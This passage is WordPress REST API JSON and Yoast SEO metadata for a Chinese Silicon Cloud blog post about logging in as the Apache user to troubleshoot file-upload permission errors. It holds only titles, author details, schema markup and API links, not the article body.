\u626c\"},\"url\":\"https:\/\/www.silicloud.com\/zh\/blog\/author\/qingyang\/\"},{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.silicloud.com\/zh\/blog\/%e4%bb%a5apache%e7%9a%84%e5%bf%83%e6%80%81%e6%9d%a5%e5%b0%9d%e8%af%95%e7%9a%84%e4%b8%a4%e7%a7%8d%e6%96%b9%e6%b3%95-%e9%80%9a%e8%bf%87apache%e7%94%a8%e6%88%b7%e7%99%bb%e5%bd%95%e7%9a%84%e4%b8%a4\/#local-main-organization-logo\",\"url\":\"\",\"contentUrl\":\"\",\"caption\":\"Blog - Silicon Cloud\"}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"\u4ee5Apache\u7684\u5fc3\u6001\u6765\u5c1d\u8bd5\u7684\u4e24\u79cd\u65b9\u6cd5-\u901a\u8fc7Apache\u7528\u6237\u767b\u5f55\u7684\u4e24\u79cd\u65b9\u5f0f - Blog - Silicon Cloud","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.silicloud.com\/zh\/blog\/\u4ee5apache\u7684\u5fc3\u6001\u6765\u5c1d\u8bd5\u7684\u4e24\u79cd\u65b9\u6cd5-\u901a\u8fc7apache\u7528\u6237\u767b\u5f55\u7684\u4e24\/","og_locale":"zh_CN","og_type":"article","og_title":"\u4ee5Apache\u7684\u5fc3\u6001\u6765\u5c1d\u8bd5\u7684\u4e24\u79cd\u65b9\u6cd5-\u901a\u8fc7Apache\u7528\u6237\u767b\u5f55\u7684\u4e24\u79cd\u65b9\u5f0f","og_description":"\u4ec0\u4e48\u6837\u7684\u6587\u7ae0 \u521b\u5efa\u6587\u4ef6\u4e0a\u4f20\u7a0b\u5e8f\u65f6\u7ecf\u5e38\u51fa\u73b0\u7684\u6743\u9650\u9519\u8bef\u3002 \u5f53\u6211\u6210\u4e3aSE\u7684\u521d\u59cb\u9636\u6bb5\uff0c\u6211\u4e0d\u77e5\u9053\u8fd9\u610f\u5473\u7740\u4ec0\u4e48\u3002 \u5982\u679c\u6211\u6210 […]","og_url":"https:\/\/www.silicloud.com\/zh\/blog\/\u4ee5apache\u7684\u5fc3\u6001\u6765\u5c1d\u8bd5\u7684\u4e24\u79cd\u65b9\u6cd5-\u901a\u8fc7apache\u7528\u6237\u767b\u5f55\u7684\u4e24\/","og_site_name":"Blog - Silicon Cloud","article_published_time":"2023-05-31T22:24:42+00:00","article_modified_time":"2024-05-04T06:37:25+00:00","author":"\u6e05, \u626c","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"\u6e05, \u626c","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"2 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.silicloud.com\/zh\/blog\/%e4%bb%a5apache%e7%9a%84%e5%bf%83%e6%80%81%e6%9d%a5%e5%b0%9d%e8%af%95%e7%9a%84%e4%b8%a4%e7%a7%8d%e6%96%b9%e6%b3%95-%e9%80%9a%e8%bf%87apache%e7%94%a8%e6%88%b7%e7%99%bb%e5%bd%95%e7%9a%84%e4%b8%a4\/","url":"https:\/\/www.silicloud.com\/zh\/blog\/%e4%bb%a5apache%e7%9a%84%e5%bf%83%e6%80%81%e6%9d%a5%e5%b0%9d%e8%af%95%e7%9a%84%e4%b8%a4%e7%a7%8d%e6%96%b9%e6%b3%95-%e9%80%9a%e8%bf%87apache%e7%94%a8%e6%88%b7%e7%99%bb%e5%bd%95%e7%9a%84%e4%b8%a4\/","name":"\u4ee5Apache\u7684\u5fc3\u6001\u6765\u5c1d\u8bd5\u7684\u4e24\u79cd\u65b9\u6cd5-\u901a\u8fc7Apache\u7528\u6237\u767b\u5f55\u7684\u4e24\u79cd\u65b9\u5f0f - Blog - Silicon Cloud","isPartOf":{"@id":"https:\/\/www.silicloud.com\/zh\/blog\/#website"},"datePublished":"2023-05-31T22:24:42+00:00","dateModified":"2024-05-04T06:37:25+00:00","author":{"@id":"https:\/\/www.silicloud.com\/zh\/blog\/#\/schema\/person\/cb5556d2501da73d864cac945e8d9461"},"breadcrumb":{"@id":"https:\/\/www.silicloud.com\/zh\/blog\/%e4%bb%a5apache%e7%9a%84%e5%bf%83%e6%80%81%e6%9d%a5%e5%b0%9d%e8%af%95%e7%9a%84%e4%b8%a4%e7%a7%8d%e6%96%b9%e6%b3%95-%e9%80%9a%e8%bf%87apache%e7%94%a8%e6%88%b7%e7%99%bb%e5%bd%95%e7%9a%84%e4%b8%a4\/#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.silicloud.com\/zh\/blog\/%e4%bb%a5apache%e7%9a%84%e5%bf%83%e6%80%81%e6%9d%a5%e5%b0%9d%e8%af%95%e7%9a%84%e4%b8%a4%e7%a7%8d%e6%96%b9%e6%b3%95-%e9%80%9a%e8%bf%87apache%e7%94%a8%e6%88%b7%e7%99%bb%e5%bd%95%e7%9a%84%e4%b8%a4\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.silicloud.com\/zh\/blog\/%e4%bb%a5apache%e7%9a%84%e5%bf%83%e6%80%81%e6%9d%a5%e5%b0%9d%e8%af%95%e7%9a%84%e4%b8%a4%e7%a7%8d%e6%96%b9%e6%b3%95-%e9%80%9a%e8%bf%87apache%e7%94%a8%e6%88%b7%e7%99%bb%e5%bd%95%e7%9a%84%e4%b8%a4\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.silicloud.com\/zh\/blog\/"},{"@type":"ListItem","position":2,"name":"\u4ee5Apache\u7684\u5fc3\u6001\u6765\u5c1d\u8bd5\u7684\u4e24\u79cd\u65b9\u6cd5-\u901a\u8fc7Apache\u7528\u6237\u767b\u5f55\u7684\u4e24\u79cd\u65b9\u5f0f"}]},{"@type":"WebSite","@id":"https:\/\/www.silicloud.com\/zh\/blog\/#website","url":"https:\/\/www.silicloud.com\/zh\/blog\/","name":"Blog - Silicon Cloud","description":"","inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.silicloud.com\/zh\/blog\/#\/schema\/person\/cb5556d2501da73d864cac945e8d9461","name":"\u6e05, \u626c","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.silicloud.com\/zh\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/32a4239de8ff29adace466261d309424a1e5fe9f7e3036bf89fe03f2e3dbe717?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/32a4239de8ff29adace466261d309424a1e5fe9f7e3036bf89fe03f2e3dbe717?s=96&d=mm&r=g","caption":"\u6e05, \u626c"},"url":"https:\/\/www.silicloud.com\/zh\/blog\/author\/qingyang\/"},{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.silicloud.com\/zh\/blog\/%e4%bb%a5apache%e7%9a%84%e5%bf%83%e6%80%81%e6%9d%a5%e5%b0%9d%e8%af%95%e7%9a%84%e4%b8%a4%e7%a7%8d%e6%96%b9%e6%b3%95-%e9%80%9a%e8%bf%87apache%e7%94%a8%e6%88%b7%e7%99%bb%e5%bd%95%e7%9a%84%e4%b8%a4\/#local-main-organization-logo","url":"","contentUrl":"","caption":"Blog - Silicon Cloud"}]}},"_links":{"self":[{"href":"https:\/\/www.silicloud.com\/zh\/blog\/wp-json\/wp\/v2\/posts\/36643","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.silicloud.com\/zh\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.silicloud.com\/zh\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.silicloud.com\/zh\/blog\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/www.silicloud.com\/zh\/blog\/wp-json\/wp\/v2\/comments?post=36643"}],"version-history":[{"count":2,"href":"https:\/\/www.silicloud.com\/zh\/blog\/wp-json\/wp\/v2\/posts\/36643\/revisions"}],"predecessor-version":[{"id":98913,"href":"https:\/\/www.silicloud.com\/zh\/blog\/wp-json\/wp\/v2\/posts\/36643\/revisions\/98913"}],"wp:attachment":[{"href":"https:\/\/www.silicloud.com\/zh\/blog\/wp-json\/wp\/v2\/media?parent=36643"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.silicloud.com\/zh\/blog\/wp-json\/wp\/v2\/categories?post=36643"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.silicloud.com\/zh\/blog\/wp-json\/wp\/v2\/tags?post=36643"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}